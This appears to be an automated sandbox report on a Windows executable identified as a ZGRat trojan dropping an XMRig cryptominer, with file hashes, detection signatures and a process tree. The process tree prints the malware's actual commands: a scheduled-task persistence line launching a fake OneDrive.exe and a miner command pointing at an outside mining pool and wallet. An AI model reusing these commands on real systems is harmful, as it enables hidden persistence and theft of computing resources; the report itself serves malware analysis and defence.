Analysis
-
max time kernel
3s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20231222-en -
resource tags
-
submitted
12-01-2024 23:00
General
-
Target
216af63fedbf9379d7d2f6b52eb81d3b19a1310fa0cb365a6121788b2b48baa0.exe
-
Size
5.3MB
-
MD5
f0615222efdb2699a7d869641bcf7eab
-
SHA1
e346c26ede7d5e6e97bc5f9578a3c7dc5853e4af
-
SHA256
216af63fedbf9379d7d2f6b52eb81d3b19a1310fa0cb365a6121788b2b48baa0
-
SHA512
d0a817eeaa3ecd507e778fc1422a0989d116d0d635d976924681176e17e9d7a38f1d9963954def8892bf9483ba6de989595114e2da009281e2b2489796e34a16
-
SSDEEP
49152:+a2+8ZkbcfOPIMmuv2d2cWfGmsQZ0Wf8f8QlWuWzVjnbXGp8mih7NUfXUu4tEqN5:+aTX1HlUUdG/Mul2rq/aReDkizMeQUa
Malware Config
Signatures
-
Detect ZGRat V1 4 IoCs
-
ZGRat
ZGRat is remote access trojan written in C#.
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 13 IoCs
-
.NET Reactor proctector 4 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
-
Executes dropped EXE 1 IoCs
-
UPX packed file 17 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Uses the VBS compiler for execution 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
-
Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\216af63fedbf9379d7d2f6b52eb81d3b19a1310fa0cb365a6121788b2b48baa0.exe"C:\Users\Admin\AppData\Local\Temp\216af63fedbf9379d7d2f6b52eb81d3b19a1310fa0cb365a6121788b2b48baa0.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4575.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"4⤵
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
-
-
-
-
C:\Windows\system32\timeout.exetimeout 31⤵
- Delays execution with timeout.exe
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"1⤵
- Creates scheduled task(s)
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exeC:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe1⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ABSOLUTE" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\OneDrive.exe"3⤵
- Creates scheduled task(s)
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
365KB
MD53332729da0a8e1ddcdb7299f0878dfeb
SHA13ef86fc661071a22176dab570d66ebc70383b790
SHA256a13156e9188cbd6122111846b8022e74687ea394dadeb6d693644a5b9926f5ab
SHA5123fe308ff73dcd8b1a633aa6126a7a9653cf5177ce82722ac028f3b6d7a6d2c903e62dadd5d50f5e25e7dd569b871a3739efad178fb72d971ca1cb621b1e9c0d6
-
Filesize
92KB
MD5a74feed566cbf9d29290105554666c90
SHA109de9554a723cd43b3f173002cbf77b3bb343c28
SHA256174f1f7862ce0a0c196cff7cce48f0f2c1fd4e0690aeac3941eeb58363bb81b9
SHA512050dfe848e9368240b96ab304cd347826203b8c98cec0bbfb73f524a023c89a2eb10314e51de876441998a671caedc8ce8e45efbc6d2ccd1fb3c31ac4247e683
-
Filesize
2.2MB
MD56ff38537228ad8d9bd8cea31a5c26c7c
SHA184f5dbd05dba8c484d7ee04e77c8dfcacf4416f6
SHA25606a1d52043929b3a564ae337d325d4da785e61ead95f8de3d6dc0146d0a42912
SHA512e9e7311523842eded61963356093a6ba2187c611f40330ebc41d7bd9cc0d4f20386d9a51df0d4e3eea0d90c5f867dd092a8a95f10c7bb439ca2c8f929d31a97c
-
Filesize
1KB
MD5f26118d675c61402c218ac6794d90a63
SHA1ffc8d592f3ca8255ca5119eff5b576eb16ac7fac
SHA256d049789c187b2f58c900eab10205bc037740dca8640ab40c314790fefaab66ff
SHA5126f14b71dae095131053a1b590e60ccec4e14c47c745bf9d52de48988d7b93b1f50bbb6bac0222dc49e3e45def052b20be2d34e116991027718da2e0fb8eb45d0
-
Filesize
176B
MD54a1c74369cdc2e3a4f8ed6916a4b8e56
SHA18aaefe785d004b671d4bb81eb42625db1b91e6f0
SHA256be33f30533ff62084ba1f21cb7cab8a9a94aae30a5fd6294905567aa993aa7d3
SHA51237469b39a045c94bdc50f7232b492364246e1d5764daa7ee6901bfef26cc32a874c4ea43e81d2f34f34dfeec88fae9524003d26f54eae114cb8992e0868c5893
-
Filesize
10.8MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
5.3MB
-
Filesize
64KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
128KB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
128KB
-
Filesize
7.9MB
-
Filesize
128KB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
128KB
-
Filesize
128KB
-
Filesize
7.9MB
-
Filesize
7.9MB
-
Filesize
128KB
-
Filesize
7.9MB
-
Filesize
7.9MB